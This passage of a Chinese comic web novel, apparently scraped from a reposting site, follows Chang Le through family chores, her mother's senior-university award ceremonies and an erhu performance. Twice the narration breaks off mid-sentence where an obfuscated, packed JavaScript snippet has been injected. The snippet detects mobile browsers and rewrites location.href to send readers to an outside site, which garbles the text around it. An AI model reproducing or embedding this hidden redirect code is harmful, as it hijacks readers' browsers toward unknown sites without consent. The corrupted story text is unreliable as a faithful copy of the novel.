回到家,常乐从口袋里掏出一包包战利品,摆放在餐桌上,等候姥姥的表彰。 陈年珍宝失而复得,姥姥喜笑颜开,逐一打开检查。 “哎哟我的藏红花,好多年前买的,一直舍不得喝。” 常乐说:“你倒是喝啊,白白放着不是浪费了?” 她听说有些名贵药材不能久存,所谓“一年宝二年药三年草”,这藏红花放了这么多年,难怪一股子刺鼻的霉味儿。 “我喝这个干什么?这是调理月经用的。”姥姥白了她一眼,“你高中的时候不是月经不调吗?我有次买菜,正好碰到有人在卖这个,就买了一两,花了五十多呢。” 常乐:……五十多?这价格能买到真货吗? 经姥姥一提醒,她忽然想起来了,高三那年学习压力大,月经不规律。有天晚上,姥姥神神秘秘地端来一碗红糖水,说能大补。 红糖水里,漂浮着几根菊瓣一样的细丝。 第二天,她拉了一天。 关键是,那天是月考。第一场考语文,开考不到十分钟,她就举手要上厕所。半个小时后,第二次。一个小时后…… 监考老师都不耐烦了,直接把她卷子收了,还劝她一次性拉完,别耽误后面的考试。 常乐盯着姥姥手里那包红黄丝,眼里渐渐聚起怒火。 就是你个小垃圾,害得我在班里脸面丢尽、还荣获一个“勤屎皇”的称号? 我还辛辛苦苦把你从垃圾桶里救回来? 管你是藏红花还是藏黑花,今天我要把你碾得满地掉渣! 一道铃声乍响,将她瞬间拉回现实。再看到屏幕上的名字,她的复仇之火彻底熄火了。 又忘记接林文娟了。 常乐一边接电话一边换鞋:“哎呀呀路上又堵车了……我马上到!” 在凄风惨雨中等了二十分钟,林文娟的脸色已经阴得能滴出水了。 平息怒火的最好方式,就是迅速转移注意力。 常乐一边开车,一边绘声绘色地讲述自己清理冰箱的雷霆手段。 在听她讲到自己成功挽救家庭财产后,林文娟终于开口:“那什么藏红花、鹿茸、冬虫夏草,都是假货,扔就扔了,你还捡回来,真是多此一举。” “啊?”常乐的笑容凝固在脸上。 “那藏红花,就是染色的萝卜丝,估计还掺了点药粉。鹿茸和冬虫夏草也是路边摊买的,还那么便宜,怎么可能是真的?你姥姥就爱贪小便宜吃大亏。” 常乐张着嘴,愣了好一会,才弱弱地说:“要不,我再找个机会偷偷扔了?” 林文娟点点头:“记得扔远点。” 常乐向她保证:“已经扔得已经够远了,她绝对找不到。” 夜色渐深,姥姥姥爷都睡了。 常乐蹑手蹑脚地走出房间。她打算将那几袋假冒伪劣的药材偷偷藏进房间,明天早上再开车运到城市郊区,彻底毁尸灭迹。 她偷偷摸摸地钻进厨房,打开冰箱,顿时傻眼了—— 下午扔的那些东西,居然又回来了! 大红枣、老干妈、卤豆干、各种瓶瓶罐罐…… 除了那几盘剩饭剩菜已经无力回天,其它的都在原位,仿佛从未离开过。 再打开下层,就连那袋过期六年的水饺,也再度回归。 只是水饺都粘黏成了一团,卖相欠佳,应该是解冻后又被重新冻上了。 真是活见鬼了! 16. 16 第二天一早,一家三口在车里分垃圾。 “老常,这袋你带到单位里扔。”林文娟递给常建民一袋垃圾,又往自己脚边放了一袋,“这袋我带去学校,剩下这袋——” 常乐接过垃圾,“我知道,扔到易诚家门口。” 林文娟扬起手就是一个爆栗。 常乐捂着脑袋,表情狰狞,“开个玩笑而已……” 林文娟斜她一眼,“别老欺负人家。” 送完林文娟和常建民,常乐开着车,在大街上漫无目的地游荡,最后把垃圾甩进了一家酒楼的后巷的垃圾桶里。 她就不信姥姥能找到这里。 回到家,姥姥又发了一通脾气。常乐皮糙肉厚,怎么骂都没用,所以怒火最后都由姥爷承担了。 常乐双手搭在姥爷的肩上,郑重地说:“姥爷,为了全家人的身体健康,你挨点骂又算得了什么?” 姥爷:“……我外孙女可真孝顺啊。” 为了弥补姥爷受伤的小心脏,常乐主动提出要帮他拍视频素材。 这次,姥爷又在网上买了一堆花里胡哨的衣服,常乐一件件看下来,眉头越皱越紧。 她双手撑开一套白西装,表示不解:“这是要干什么?cos肯德基老爷爷吗?” “还有这件。”她拎起一件花花绿绿的外套,一脸嫌弃,“这是谁家的床单吗?” 姥爷解释道:“都是网友推荐的,反正有运费险,不合适就退呗。” 正说着,姥姥在门外爆出一声吼:“乐,过来帮忙!” 常乐走出卧室,见姥姥正在搬墙角的折叠梯,她赶紧上前搭把手。 “要干嘛啊姥姥?” “把窗帘都取下来,今天太阳好,洗衣机脱个水,晒一天就能干。” 姥姥之命,常乐岂敢不从。她乖乖爬上梯.子,取下客厅的窗帘,然后是餐厅的、卧室的…… 一堆窗帘在地上堆成了小山。只塞进两片,洗衣机就超负荷了。 没办法,只能多洗几次了。 趁着洗衣的空档,常乐又回到姥爷的卧室,见他已经换上了那套花花绿绿的套装,站在镜子前整理仪容。 画风诡异又搞笑。 常乐笑得东倒西歪:“姥爷,你穿这种衣服拍视频,不怕留下黑历史吗?” 姥爷扯了扯衣角,自信满满地说:“你懂什么?反差越大越吸睛。” 常乐好不容易才止住笑,说:“姥爷,你要是这么想红,我给花钱买点流量呗。” “这……还没赚钱呢,就要花钱了?” 常乐心想,你买这些衣服,花的钱也不少啊。 她说:“就当是创业前期的投入呗,等你当了网红,就能加倍赚回来啊。” 姥爷有些犹豫:“就没有什么不花钱也能火的方法?” 常乐想了想,提议道:“这样吧,你把名字改成‘苏太强’,打扮成他的模样直播。” 姥爷摇摇头,态度坚决:“那不行,我是有底线的,这种碰瓷的事,我做不出来。” 常乐:“……” 你一个八旬老人,穿着大花袄,跟我谈底线? 有点魔幻了。 “姥爷,你摆几个pose。” 常乐掏出手机,给姥爷拍了几组照片,又打开视频。 正录着,又听到姥姥在门口大喊:“乐儿啊,窗帘晾了吗?” 常乐赶紧跑出去。 窗帘晾到一半,手机铃声响了。这是她为了提醒自己接林文娟设的闹钟。 “姥,我回来继续晾。”她扔下窗帘,拔腿冲到门口,一边换鞋一边抱怨:“这一天天的,啥事都得我干,累死我了!” 常乐没想到,接下来的一周,她每天都处于这种状态—— 早上一起床就得给小奶狗喂奶,然后送林文娟上学,送常建民上班。 白天她在家,一会儿陪姥爷拍视频、剪视频,一会儿帮姥姥做家务,还得见缝插针地给视频取个标题、想个文案。 时间一到又得去接林文娟放学。 晚上还得帮姥爷管理账号,回复评论、投投抖加、买买水军什么的。睡前必须给小奶狗喂奶,否则半夜会被吵醒。 她像只陀螺转个不停,一天下来,累得头昏脑涨,回到房间只想躺着。 周四晚上,常乐趴在床上跟珍姐视频聊天。珍姐羡慕她在家也能赚钱,她掰着指头给她算:“你知道我一天要打几份工吗?四份啊!”她忿忿不平,捶打着枕头,“打四份工就领一份钱,简直比菲佣还惨!” 珍姐苦笑道:“我在家又带娃又做家务又照顾老人,还得挤出时间拍素材剪视频,我也打四份工,可是谁给我发工资呢?” 常乐沉默了。 她有点后悔,不该在挨饿的人面前吃饭吧唧嘴。 珍姐总结道:“所以啊,有这么好的家人,你就知足吧。” 常乐惭愧地笑了笑:“是啊,知足才能常乐嘛。” -- 周五这天,常乐又多了个任务——开家长会。 她一心想着上台发言的事,紧张得都忘了要林文娟加钱。 常乐提前到达老年大学,循着门口的指示牌,找到了开家长会的会议室。 门口有一排长桌。她签了到,领了一沓材料,进会议室找了个后排的位置坐下。 会议室里零零散散地坐了几个人,正前方的大屏幕上,红底黄字写着:家校携手迎期末,关爱老年贺新春。 常乐低头看看手里的材料,什么老年大学的简介、成果展示、下学期的课程设置……她看得饶有兴致。直到台上传来主持人的声音,她才抬起眼。 会议室里已经乌泱泱坐满了人,放眼望去,大爷大妈居多,估计是学员本人或者其配偶。 粗略一数,至少有一百多人。 常乐吓了一跳,心怦怦跳得飞快。 她真的要在这么多人面前发言吗? 是上台还是站在原地?她的稿子在手机里,能照着手机念吗? 主持人说完开场语,掌声雷动,一位西装革履的区领导上台了。 “……我们老年大学,既丰富了老年人的退休生活,又向社会传递了老有所为的正能量……” 他巴拉巴拉说了一堆,常乐听得正认真,猛地想起来——她自己的稿子还没背熟呢。 她赶紧掏出手机,打开备忘录,逐字逐句默念自己的发言稿。 区领导说完了,又上来一位校领导。 校领导下去了,又上来一位教师代表。 教师代表结束发言,又上来一位学员代表…… 四十分钟过去了,常乐背稿已经背得头晕眼花,还得时不时抬头瞅一眼,看看会议进展到哪一步了。 前后左右的大爷大妈们都睡着了。 终于到了激动人心的表彰环节,主持人在台上念奖项,与此同时,大屏幕上滚动播放获奖学员的名单。 “获得2024—2025学年第一学期的优秀学员有,杨建文先生、李秀华女士、林文娟女士。” 听到期待中的名字,常乐心头一喜,急忙掏出手机,给大屏幕拍了张特写,微信发送给林文娟。 她甚至还杵了杵旁边打瞌睡的大爷,提醒他:“林文娟,我妈。” 大爷迷迷糊糊的:“啊?” 常乐指着大屏幕,“优秀学员啊,我妈,嘿嘿。” 大爷:“……哦哦不错不错。” 本以为表彰名单就这么长,没想到,大屏幕上源源不断地滚动—— “学习标兵”有五人,“进步之星”有十人,“体育风尚奖”有五人,“正能量宣传员”有十人…… 名单念完,获奖人数加起来比到场人数还多。 常乐:“……” 这是幼儿园在发小红花吗?主打一个雨露均沾是吧? 管他呢,获奖人数越少,含金量越高。 想到这,常乐又扬起了骄傲的头颅。 名单念完,主持人用饱含激情的声音说道:“接下来,让我们有请东山区教育局副局长、也是我们优秀学员杨建文先生的儿子、杨梦军先生上台发言。” 掌声稀稀拉拉,大部分人都半睡半醒。 第一排一个穿行政夹克的中年男人站起身,从容不迫地走上台,站在话筒前。 常乐呆愣愣地盯着他,心像石头似地往下坠。 坠入胃里,翻涌起一股酸涩,再坠到肚脐眼…… 她把手机熄屏,塞回了口袋里。 -- 家长会开完已经五点多了,一个破会,开了一个半小时,翻来覆去就那么几句话。 常乐挤在散场的人群之中,郁闷地想,还不如让姥姥姥爷来呢。 他们至少睡得香。 文艺汇演在学校东侧的小礼堂。常乐溜达着过去,绕到后台化妆间,一眼就看到了正在化妆镜前吃盒饭的林文娟。 她化了全妆,头发做了个手推波浪卷,羽绒服底下是一身金色旗袍。 “乐宝!”林文娟发现了门口的常乐,冲她招招手,“会开完了?吃了吗?” 常乐扬起笑脸,“还没呢。” “等着,我去给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585079|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拿一份。”林文娟起身走了出去,不一会儿又回来,手上拿着盒饭和筷子。 化妆间里,几个同样穿着旗袍的阿姨问林文娟:“娟儿,这是你闺女啊?” “是啊,她来参加家长会。” “哦哟,真好,我儿子懒得很,怎么叫都不肯来。” “我家那个也是,只好叫我老伴儿来了。”一位阿姨笑眯眯地打量着常乐,“还是闺女贴心啊。” 常乐腼腆地笑了笑,低下头,心不在焉地用筷子扒拉着饭。 “怎么了?”林文娟小声问,“心情不好啊?” 常乐回过神,“没有。”她往嘴里塞了红烧肉,岔开话题:“妈,你看到我给你发的照片了吗?” 林文娟得意地挑挑眉,“看到了,我就说我能得奖吧。” 常乐牵起唇角,勉强笑了下。 林文娟皱起眉,“怎么了?我得奖了,你还不高兴?” 常乐叹了口气,沉默良久,才低低地开口:“妈,我要是个有头有脸的大人物就好了。” 林文娟忍不住笑了,指着面前的梳妆镜说:“你自己照照,你是没头还是没脸啊?” 常乐没有笑,语气依旧低落:“明明大家都是优秀学员,凭什么只有那个局长儿子能上台?我一介平民就不配发言了吗?” 林文娟愣了下,“就为这事儿啊?”她调侃道,“你要喜欢上台发言,就去当主持人呗。” “我不是这个意思……”常乐撅着嘴,越想越委屈,“我就是觉得,如果我有出息,你也能跟着我沾光……” 林文娟扑哧一笑,揉了揉她的脑袋,“说什么傻话呢?就算你上台发言了,也是沾了我的光啊。” 常乐:“……” 我都这样了,能别打击我了么? 她低着头,闷闷地说:“早知道就不准备发言稿了,白忙活一场。” “还有稿子呢?”林文娟兴致勃勃,“给我看看。” 常乐掏出手机,打开备忘录。 林文娟眯起眼,凑得很近,抱怨道:“字儿太小,看不清。你读一遍吧。” “啊?在这儿吗?”常乐紧张地环视四周,几个大姨在一边吃饭一边闲聊,还有两个在举着手机自拍。 “对啊,就把这里当成领奖台。”林文娟挺直腰背,神色认真,“开始吧。” 常乐只好放下筷子,拿起手机,字正腔圆地念道:“尊敬的各位领导,亲爱的……这段全是废话,跳过。” 她清了清嗓,从第二段开始: “我的妈妈林文娟一直是一个努力上进的人……噫,这一段太肉麻了,跳过。” “别啊。”林文娟急忙道,“就从这段开始。我努力上进,然后呢?” 常乐有些难为情,压低声音念道: “小时候,我每天都会练字帖,她也跟着我练。我原本以为她是为了督促我认真写字,后来才知道,她被一个病人嫌弃字太丑,处方单上的字都看不清,所以她才痛下决心要练字。” 林文娟面露尴尬,“怎么连这种小事都要说?幸好没让你上台,真是羞死了。” 常乐继续念:“几个月后,她就练成了一手标准的行楷,每个病人都夸她的字好看。上初中时,我在家里读英语,她也跟着我读。她说,科室里来了个研究生,英语说得可流利了。医院里来了外国病人,都是她来对接。我妈很羡慕人家,所以也开始学英语……” 林文娟满脸通红,伸手捂住常乐的嘴,“别念了别念了,太尴尬了……” 常乐挣脱她的手,笑嘻嘻地说:“怎么会呢?这些都是你的光荣历史啊。” 她举起手机继续念:“我最佩服我妈的一点,不是她的自律、努力、上进,而是她事事以自己为主。她的生活不是围着我转,她的人生第一顺位永远是她自己。” 林文娟听懵了:“你这是在夸我,还是在骂我啊?” “当然是夸你啦。”常乐冲她眨眨眼,然后,认真地读出最后一段: “我希望能像林文娟女士一样,对世界充满好奇,对生活充满热情。不管处于人生的哪个阶段,永远活在当下,永远在乎自己的感受,永远不缺重新起航的勇气。” 林文娟怔怔地看着她,眼眶微微泛红。 “哎哟,你……”她低下头,抹了抹眼角,“让你随便写几句,你写得这么认真干嘛?只能念给我听,可惜了……” 常乐收起手机,压在心头的沮丧和失落一扫而空。 “这些话,本来就是说给你听的。”她看着林文娟,眼含笑意,“所以啊,一点儿也不可惜。” 17. 17 晚上七点,文艺汇演正式开始。还是同一套流程,同一套班子——主持人开场、区领导讲话、校领导讲话…… 听得人昏昏欲睡。 激情澎湃的大合唱、激情澎湃的诗朗诵……终于听到主持人报幕:“下面请欣赏由二胡班全体学员带来的表演——二胡合奏《步步高》。” 常乐一下子来了精神。 大幕缓缓拉开,小小的舞台上挤挤攘攘地坐了五十多人。女人一律穿金色旗袍,男人清一色的红色长衫。 放眼望去,一片热闹喜庆,整得跟婚礼现场似的。 坐在二胡大军第一排C位的,是个年轻男人,长得白白净净的,戴着半框眼镜,气质温文尔雅。 常乐猜,他应该就是林文娟常念叨的那个“钟大师”。 因为现场唯一一个话筒,就立在他前面。 一开始,常乐还在吐槽,这么多人,就一个话筒,主办方也忒抠了。上一个节目诗朗诵还人手一个话筒呢。 随着一声起调,欢快热闹的音乐声响起。 这首曲子是超市过年的循环曲目之一,其洗脑效果堪比“恭喜你发财,恭喜你精彩”,是个人都能哼哼几句。 所以,连常乐都能听出,这调子不太对劲。 就像被风刮得东倒西歪、晕头转向。 林文娟坐在第二排、钟大师的右后方,她演奏得那叫一个沉浸投入、激情洋溢,上半身还在跟着节奏摇晃,让常乐不禁产生了自我怀疑——没准儿原曲就是这样?超市放的都是盗版? 第一段合奏结束,进入第二段交替演奏,钟大师先独奏一段,大伙儿再合奏一段。 至此,常乐彻底明白了。 这场表演,完全是钟大师在以一己之力对抗跑偏的千军万马啊。 他是怎么忍住不笑场的? 就像是两人对唱,一个人是专业歌手,而另一个是随机挑选的观众,五音不全还自信满满,硬是把一场灾难级表演,整出了喜剧效果。 反正常乐是憋不住。她笑得前仰后合,录视频的手都在抖。 晚会散场后,常乐开车载林文娟回家。 林文娟回看手机里的视频,颇为不满:“你这拍的都是什么啊?晃得我都要吐了。” 常乐抿唇憋笑:“太兴奋了,没忍住嘛。” “哟,”林文娟一脸了然,“看到帅哥太激动了?” 常乐无语地斜她一眼。 林文娟极力推销:“我们钟老师长得帅吧?他是音乐世家出身,还不到三十岁,就拿了好几个全国大奖呢。班里好几个人都想把女儿介绍给他。” 常乐听懂了她的暗示,直截了当说:“你可别把我扯进来。我现在一心想着赚钱,对男人没兴趣。” 林文娟失望地撇了撇嘴。 -- 第二天下午,常乐又驱车前往北湖区老年大学,参加第二场家长会。 这所学校规模较小,只有一栋五层小楼。一楼是老年人活动室,中间几层是教室和办公室,最顶层有一间阶梯教室,晚会就在那里举办。 开家长会的教室在四楼,林文娟早已在里面等候多时了。见到常乐,她兴奋地招了招手。 等常乐坐到旁边,她凑到她耳边,神秘兮兮地说:“我都给你打点好了,今天你作为家属上台发言。” 常乐眼睛一亮:“真的吗?“ 林文娟笑眯眯地说:“对啊,我跟这边的领导关系好,而且我的同学里面也没有谁家孩子是局长。” 常乐:……那我算是捡了个漏? 不管了,反正今天,她就要扬眉吐气一把。 林文娟拍拍她的肩:“我先去排练了,等会你上台之前跟我说一声,我偷溜下来,给你拍视频。” 常乐自信满满:“我办事,你就放心吧。” 不一会儿,教室里就坐满了人。流程跟昨天的差不多,领导们轮番上台,发表讲话。 常乐一边听一边拿着手机默背演讲稿。 终于听到主持人说:“下面,让我们有请家属代表、优秀学员林文娟的女儿常乐上台发言。” 常乐赶紧给林文娟发微信:“快来!” 掌声不够热烈,也许是她的头衔太短,没有某某局长那么有气势,众人似乎对她不抱期待。 常乐无所谓。她雄赳赳气昂昂地踏上讲台,刚调整好话筒高度,就看见后门开了道小缝,林文娟偷偷摸摸地钻了进来,坐到了最后一排。 还举起手,冲她比了个大拇指。 常乐回给她一个自信的笑容。 接下来,她的发挥远超预期。 在提到林文娟的生活趣事时,台下观众脸上都露出了会心的笑容。在夸赞林文娟的美好品质时,观众的掌声也极其配合。 只剩最后一段了。 常乐深吸一口气,慷慨激昂地说:“最后,我要感谢东山区老年大学,让我妈妈在逐梦的道路上不再孤单……” 林文娟嘴角抽搐一下。 台下响起窃窃私语声。 “还要感谢东山区教育局的领导,对老年人的退休生活给予的关怀和帮助……” 第一排几个人开始交头接耳。林文娟已经尴尬得缩进了椅子里。 “全市的老年大学,我妈妈都去试听过,她说东山区老年大学是课程最全、教学水平最高、综合实力最强的……” 台下的议论声越来越大,常乐还沾沾自喜,以为自己马屁拍到位了。 林文娟捂着脸跑路了。 最后,在众人稀稀拉拉的掌声中,常乐走下讲台,内心充满了骄傲。 -- 晚上回到家,常乐回看林文娟给自己录的视频,忍不住抱怨:“你怎么也抖得这么厉害?怎么录到一半就停了?” 林文娟不想打击她,只好强颜欢笑道:“老师打电话让我上去彩排,我就先走了。” “……好吧。”常乐将手机还给她。 她生了会儿闷气,很快重燃斗志:“对了,明天南港区是不是还有一场?我还要上台吗?” “不用!”林文娟脱口而出,又觉得不妥,干笑两声作为掩饰:“哈哈哈,明天让你爸去。你都连着参加两场了,是时候休息一下了。“ “啊?”常乐大失所望,“我不用休息,我状态好着呢。” 常建民在一旁弱弱地插话:“既然乐宝想参加,那就把这个机会让给她吧,我无所谓……” 林文娟斜飞来一记眼刀。 常建民立刻噤声。 林文娟调整好笑容,看向常乐,嘴上说着:“就听我的,明天让你爸去。你在家好好歇着,我放你一天假。” 心里想的却是:北湖区老年大学估计已经把她们母女拉黑名单了,要是再把南港区得罪了,明年她还有学上吗? 常乐闷闷不乐地“哦”了一声,过了会儿,又说:“妈,以后你们学校还有什么亲子活动,一定要让我去。我还想让你给我洗脚呢。” “给、你、洗、脚?”林文娟怀疑自己听错了。 “对啊,就像高中那样。”常乐喜滋滋地说。 高一那年,学校搞了一场感恩教育的活动,不知从哪儿请了位专家,开展了一场声泪俱下的演讲,然后,所有学生都要家长磕头、洗脚,家长还得配合着流几滴眼泪…… 时隔多年,常乐回忆起这场大型表演艺术,依旧尴尬得脚趾抠地。 但是,如果身份互换,她不仅不尴尬,还会得意洋洋地拍视频发朋友圈,并配文:“妈妈终于长大了,知道心疼我了。[感恩][爱心][飞吻]” 她陷入美好的憧憬之中:“除了洗脚,还可以给我揉揉肩、捶捶背,至于磕头就免了,我还不习惯——” 话未说完,林文娟就飞来一记爆栗,并发出一声爆吼: “我磕你马了个巴子!” 常乐捂着后脑勺,痛得龇牙咧嘴。 -- 年关将近,小区大门早早地贴上了对联,沿途的香樟树上都挂上了红灯笼,处处洋溢着喜庆的气氛。 学期结束,林文娟不用再早出晚归去上学,但她又闲不住,所以放假的第二天,她就拉上了常乐去超市买年货。 过年期间,超市的人口密度堪比早高峰的地铁。母女俩推着购物车艰难前行,上上下下,来来回回,终于把年货买齐。 她们又开车去附近的花鸟市场,挑选几盆开得正艳的杜鹃和水仙,连同刚刚买的几大袋年货,整整齐齐地码放在后备箱里。 老城区道路本就狭窄,行人和电瓶车见缝插针,路边各种乱停乱放,更是加剧了拥堵。 从花鸟市场出来,短短一段路,小车走走停停,蠕动了二十分钟,才挤了出来。 主干道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585080|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没好到哪儿去。大家都在龟速行驶,偏偏前面有辆小白车,像泥鳅一样窜来窜去,强行加塞,又不打灯,一公里的路变道了四五次。 常乐几次想骂脏话,又碍于林文娟在旁边,只能在心里默默地骂了句傻吊。 下一秒,就听到“咚”的一声闷响,小白车在变道时被后面一辆越野车给撞了。后面所有的车都被迫停了下来。 常乐幸灾乐祸地大笑起来。 林文娟也挺高兴:“这傻子终于遭报应了,哈哈哈!” 小白车的主驾上下来一个中年男人,留着小平头,梗着脖子,一脸凶相,看上去不是个善茬。 越野车上下来一对男女,都穿着油光锃亮的貂皮大衣,看模样也不好惹。 战火一触即发。 常乐急忙降下车窗,探出脑袋,伸长脖子,恨不得下车近距离观战。 “你还挺爱凑热闹。”林文娟瞥她一眼,也降下了车窗,“他们在吵什么?” 常乐兴高采烈地说:“现在是互喷脏话环节。” 小平头情绪激动,脖子涨得通红,唾沫星子都喷到貂男的脸上了。 貂女也不甘示弱,涂得猩红的指甲戳着小平头的脑袋,一顿点穴加狮吼。 后面的车不耐烦地按起了喇叭。 渐渐地,喇叭声越来越大,此起彼伏,持续不断。 在一片嘈杂中,常乐隐隐听到一缕细细的二胡声,声音清亮,节奏欢快,仿佛在为这场大战配BGM。 她还以为自己连着参加两场晚会,被折磨得出现了幻听。 但林文娟也听到了。她将脑袋探出窗外,东张西望,自言自语道:“我怎么听到有人在拉二胡?” 常乐环视一圈,发现二胡声是从前面的城隍庙飘来的。这座庙历史悠久,在本市颇有名气。红墙古朴,石门厚重,香客们络绎不绝。 红墙根下坐了一排老头,有的银发白须、仙风道骨,有的戴墨镜、穿马褂,估计都是算命的。 在这排老头中,有个年轻人格外抢眼。 他穿一身黑色大衣,端坐在凳子上拉着二胡,旁边还立着一个易拉宝,上面的文字常乐看不清,只看到底下有个硕大的二维码。 “是不是那个人?”常乐捅捅林文娟。 林文娟顺着她指的方向望去,眯起眼睛,轻轻地“咦”了一声。 常乐也发出同样的疑惑:“有点眼熟……是不是在哪儿见过?” 林文娟不太确定:“好像是……我的二胡老师。” “哦,对对对!”常乐记起来了,那个钟大师。 上次见他,他还穿着喜庆的红色长衫,这次的装扮就日常且成熟稳重多了。 不过,此情此景,让常乐不得不往那方面联想—— “你的老师在要饭啊?” 林文娟扬起手拍了她一下,“什么叫要饭?这叫卖艺,跟那些在路边弹吉他唱歌的人一样,都是街头艺术家,懂不懂?” 常乐啧了一声。 在街头弹吉他,听上去还挺浪漫,有种流浪歌手的气质。在庙门口拉二胡,看上去就很命苦,有种瞎子阿炳的遗风。 常乐怂恿她:“你不下去打个招呼?” “打什么打?赶紧走。”林文娟升起车窗,生怕被对方看见,“给他留点面子吧。” 常乐指了指他旁边的易拉宝,“上面有付款码,你要不给他捐点?” 林文娟想了想,稍稍降下车窗,举起手机,放大屏幕。 只可惜,离得太远,扫不出来。 庙门口人来人往,一波又一波路人被二胡声吸引过来,围成半圈,挡住了易拉宝,也遮住了钟老师的身影。 只剩下欢快的二胡声,在马路上飘荡,与喇叭声形成了奇妙的共振。 交警来得很快,肇事车辆被挪到路边,道路终于通畅了。 常乐轻踩油门,缓缓前行。 经过小平头时,她还扬起下巴,冲他咧嘴一笑,满满的嘲讽意味。 小车驶过城隍庙,林文娟还在频频回头,嘀咕道:“好歹是个搞艺术的,怎么沦落到这种地步了?学校是不是拖欠老师的工资啊?真是过分。” 常乐安慰她:“妈,往好处想,学二胡的就业面还挺广。等以后你没钱了,还可以上大街上要饭。” 林文娟面无表情,扬起手,甩出一记爆栗。 18. 18 出生第十二天,小奶狗们陆陆续续地睁眼了。 为此,常乐特地批准了易诚的探视权,允许他带上图图来家里共享亲子时光。 也许是出于护崽的本能,胜宝一见到陌生人靠近狗窝,就龇牙咧嘴,发出阵阵威胁的低吼。 见到图图,她更加暴躁,甚至匍匐在地,摆出进攻的架势。 图图吓得夹紧尾巴,躲在门外,不敢靠前。 易诚有些尴尬,凑近看了小奶狗一眼,就急忙退了出来,生怕惹狗妈生气。 常乐安慰他:“等断奶了就好了,到时候你挑一只最肥的带走。” “真是辛苦你了。”易诚真心实意地说,“小奶狗刚出生的时候最难照顾了。” 常乐摆摆手,表示客套的话不必多说。 姥姥给易诚端了杯茶,热情地招呼道:“晚上就留在家里吃吧,饭都快做好了。” “不用客气了,李婆婆。”易诚拘谨地笑笑,“我就是来看看小狗,待会儿就回去了。” 姥姥满脸笑意:“行,你们聊。” 目送姥姥走进厨房后,易诚才压低声音,对常乐说:“上次你姥姥追出来,硬要把红包还给我,我争不过她,就收了……”他掏出手机,“要不我把钱转你微信?” 常乐回想起那天林文娟在车里说的话,又联想到易诚现在的处境,有些于心不忍。 她大度地说:“算啦,我也就是随口说说,养几只小狗花不了多少钱,你就别放在心上了。” 易诚微微一怔,“那……以后给胜宝做绝育、给小狗打疫苗,你跟我说一声,我带他们去。” 常乐敷衍道:“以后再说吧。” 易诚还是觉得过意不去,想了想,又说:“要不我请你吃饭吧,感谢你把小狗照顾得这么好。” 常乐心里一动。最近家饭吃多了,她确实有点想念外面的野饭了。 “好啊,吃什么?” “你定吧,我都行。” 常乐想起昨天开车经过老街时,她看到有家火锅店生意特别好,大中午的,门口还坐满了等号的人,想必口味肯定不错。 她跟林文娟提议试试这家,林文娟却以“重油重辣重盐,一看就不健康”为由,一口回绝了她。 常乐:“吃火锅吗?” 易诚:“可以啊。” 常乐看一眼手机,已经四点多了,要想不排队,现在就得动身了。 “走吧。” “现在?”易诚有些诧异,指着厨房,“你姥姥不是都做好饭了吗?” 常乐急匆匆地催他:“走啦走啦,家里的饭随时都能吃,外面的可是要排队等很久的!” 现在不走,等姥姥端着菜出来,或者等林文娟下楼,她就走不了了。 两人一狗偷偷摸摸地出了门。 他们在小区里绕了大半圈,把图图送回易诚家后,又朝大门方向走去。 靠近门口有一条长廊,天气好的时候,这里长满了大爷大妈。晒太阳的、打牌的、闲聊的,张家长李家短,各种八卦,在这里汇聚,从这里播散。 堪称小区的情报站。 常乐正要绕道走,远远地听见有人在大声招呼:“噫,常乐,易诚,你们俩怎么走一块儿了?” 常乐头皮一麻,一转头,就看到翠姨那张喜气洋洋的脸。 旁边还站着她的儿子周俊臻。 周俊臻比他俩大三岁,现在在杭城一家大名鼎鼎的大厂工作,据说年薪五十万起步。 翠姨老喜欢炫耀儿子的工作,又不喜欢听别人提“大厂”这个词,每次都要极力纠正:“他们单位啊,福利待遇好着呢……他们单位是上市公司呢……他们单位啊……” 果然,常乐还没走近,就听见她在跟别人吹嘘:“听说他们单位啊,现在只招清北毕业生,连国外回来的都看不上呢,啧啧啧……” 周俊臻面露尴尬,试图阻止她:“妈,别瞎说,没这回事。” “俊臻哥,回啦?”常乐和易诚跟他打招呼,适时地替他解了围。 周俊臻长得挺周正,穿着打扮是标准的理工男风格,不显山不露水的,跟花里胡哨的翠姨完全是两种极端。 他冲两人笑笑,顺着翠姨的话问道:“你俩在一起了?” “没有没有。”常乐赶紧撇清关系,“我们纯洁得很,别乱说。” 要是不及时澄清,明天,不,今天晚上,这个谣言就会通过这座情报站,传遍整个小区。 周俊臻推了推眼镜,笑着说:“我记得你们以前就老在一起玩,现在感情还这么好,真不错。” 常乐惊讶地瞪大眼。 老在一起玩?什么时候的事?还感情好?我跟他从小到大有过感情吗? 易诚也感到费解:“你说的是我们吗?我怎么没印象了。” “对啊。”周俊臻十分笃定,“小时候易诚玩什么,常乐都要跟着学。我记得,有次他在双杠上玩倒挂金钩,常乐非要模仿他,结果摔下来,把门牙都给摔断了。” 常乐:“……” 这跟她的记忆似乎有点出入。 周俊臻继续举例:“有次过年放鞭炮,易诚负责点火,常乐非要去凑热闹,结果鞭炮都炸了,她才起身往回跑,还摔了一跤。”他看向常乐,“你蹲在地上哭,羽绒服里的毛被炸得满天飞,你还记得吧?” 常乐:“当然记得,可是……” 怎么同一件事,在不同的人记忆里,能有这么大的偏差呢? 易诚撇过头,幽幽地看了她一眼。 眼里仿佛写了四个大字: 沉冤得雪。 